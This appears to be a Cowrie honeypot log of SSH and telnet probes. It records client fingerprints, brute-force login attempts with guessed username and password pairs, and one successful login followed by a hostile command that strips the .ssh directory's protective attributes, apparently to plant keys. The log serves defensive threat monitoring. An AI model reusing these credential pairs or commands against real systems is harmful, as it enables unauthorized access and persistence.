{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:22.495855Z","src_ip":"38.93.206.2","session":"65619398b2eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.173.74","src_port":60862,"dst_ip":"10.17.0.5","dst_port":22,"session":"46470f025365","protocol":"ssh","message":"New connection: 50.6.173.74:60862 (10.17.0.5:22) [session: 46470f025365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:27.008394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:27.012258Z","src_ip":"50.6.173.74","session":"46470f025365","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:27.039986Z","src_ip":"50.6.173.74","session":"46470f025365","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linea2024","message":"login attempt [root/linea2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:27.117893Z","src_ip":"50.6.173.74","session":"46470f025365","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:28.146150Z","src_ip":"50.6.173.74","session":"46470f025365","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.146.69","src_port":55960,"dst_ip":"10.17.0.5","dst_port":23,"session":"2eae15b4c356","protocol":"telnet","message":"New connection: 107.150.146.69:55960 (10.17.0.5:23) [session: 2eae15b4c356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:29.510710Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.197.175","src_port":2447,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc4a5a9fa92e","protocol":"ssh","message":"New connection: 64.62.197.175:2447 (10.17.0.5:22) [session: dc4a5a9fa92e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:35.371887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:35.382202Z","src_ip":"64.62.197.175","session":"dc4a5a9fa92e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"7216c7c473918b4f83d1139b3c70dbf9","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc,arcfour;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc","arcfour"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 7216c7c473918b4f83d1139b3c70dbf9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:35.474415Z","src_ip":"64.62.197.175","session":"dc4a5a9fa92e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:39.383587Z","src_ip":"64.62.197.175","session":"dc4a5a9fa92e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.116.158","src_port":35738,"dst_ip":"159.203.135.109","dst_port":23,"session":"56e77f7e328f","protocol":"telnet","message":"New connection: 167.172.116.158:35738 (159.203.135.109:23) [session: 56e77f7e328f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:39.603726Z"}
{"eventid":"cowrie.session.closed","duration":0.003786802291870117,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:39.607386Z","src_ip":"167.172.116.158","session":"56e77f7e328f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.371466636657715,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:41.726533Z","src_ip":"170.64.224.25","session":"b739bc363255","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":85.20993041992188,"message":"Connection lost after 85 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:52.256317Z","src_ip":"170.64.224.25","session":"3bcf45c18976","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"175.118.127.138","src_port":48662,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2aefad4d848","protocol":"ssh","message":"New connection: 175.118.127.138:48662 (159.203.135.109:22) [session: b2aefad4d848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:53.622468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:53.626242Z","src_ip":"175.118.127.138","session":"b2aefad4d848","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:53.806031Z","src_ip":"175.118.127.138","session":"b2aefad4d848","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.32.145.199","src_port":37696,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e1e28e82a70","protocol":"ssh","message":"New connection: 101.32.145.199:37696 (10.17.0.5:22) [session: 4e1e28e82a70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:54.512787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:54.521287Z","src_ip":"101.32.145.199","session":"4e1e28e82a70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"root","message":"login attempt [postgres/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:54.562721Z","src_ip":"175.118.127.138","session":"b2aefad4d848","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:54.767468Z","src_ip":"101.32.145.199","session":"4e1e28e82a70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:55.745440Z","src_ip":"175.118.127.138","session":"b2aefad4d848","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Chang3M3!","message":"login attempt [root/Chang3M3!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:55.762805Z","src_ip":"101.32.145.199","session":"4e1e28e82a70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:57.017979Z","src_ip":"101.32.145.199","session":"4e1e28e82a70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":44114,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2b9aca4878e","protocol":"telnet","message":"New connection: 107.6.151.170:44114 (159.203.135.109:23) [session: e2b9aca4878e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:59.004759Z"}
{"eventid":"cowrie.session.closed","duration":0.0041887760162353516,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:22:59.008797Z","src_ip":"107.6.151.170","session":"e2b9aca4878e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.43141460418701,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:08.941977Z","src_ip":"107.150.146.69","session":"2eae15b4c356","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":58288,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1e7c30a96b8","protocol":"ssh","message":"New connection: 143.20.185.207:58288 (159.203.135.109:22) [session: f1e7c30a96b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:10.215736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:10.219835Z","src_ip":"143.20.185.207","session":"f1e7c30a96b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:10.347946Z","src_ip":"143.20.185.207","session":"f1e7c30a96b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZ8VCPU32GBAMD","message":"login attempt [root/XYZZ8VCPU32GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:10.820503Z","src_ip":"143.20.185.207","session":"f1e7c30a96b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:11.956123Z","src_ip":"143.20.185.207","session":"f1e7c30a96b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":58830,"dst_ip":"10.17.0.5","dst_port":22,"session":"90b9346f4fc8","protocol":"ssh","message":"New connection: 91.92.40.4:58830 (10.17.0.5:22) [session: 90b9346f4fc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:15.279441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:15.336674Z","src_ip":"91.92.40.4","session":"90b9346f4fc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:15.391488Z","src_ip":"91.92.40.4","session":"90b9346f4fc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:16.002878Z","src_ip":"91.92.40.4","session":"90b9346f4fc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:17.125939Z","src_ip":"91.92.40.4","session":"90b9346f4fc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.86.192.66","src_port":49212,"dst_ip":"10.17.0.5","dst_port":22,"session":"478bd624207b","protocol":"ssh","message":"New connection: 195.86.192.66:49212 (10.17.0.5:22) [session: 478bd624207b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:20.349902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:20.354065Z","src_ip":"195.86.192.66","session":"478bd624207b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:20.575532Z","src_ip":"195.86.192.66","session":"478bd624207b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam321","message":"login attempt [steam/steam321] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:21.496785Z","src_ip":"195.86.192.66","session":"478bd624207b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:21.994409Z","src_ip":"195.86.192.66","session":"478bd624207b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:21.998758Z","src_ip":"195.86.192.66","session":"478bd624207b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:22.003498Z","src_ip":"195.86.192.66","session":"478bd624207b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:22.450040Z","src_ip":"195.86.192.66","session":"478bd624207b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:23:22.723726Z","src_ip":"195.86.192.66","session":"478bd624207b","protocol":"ssh"}
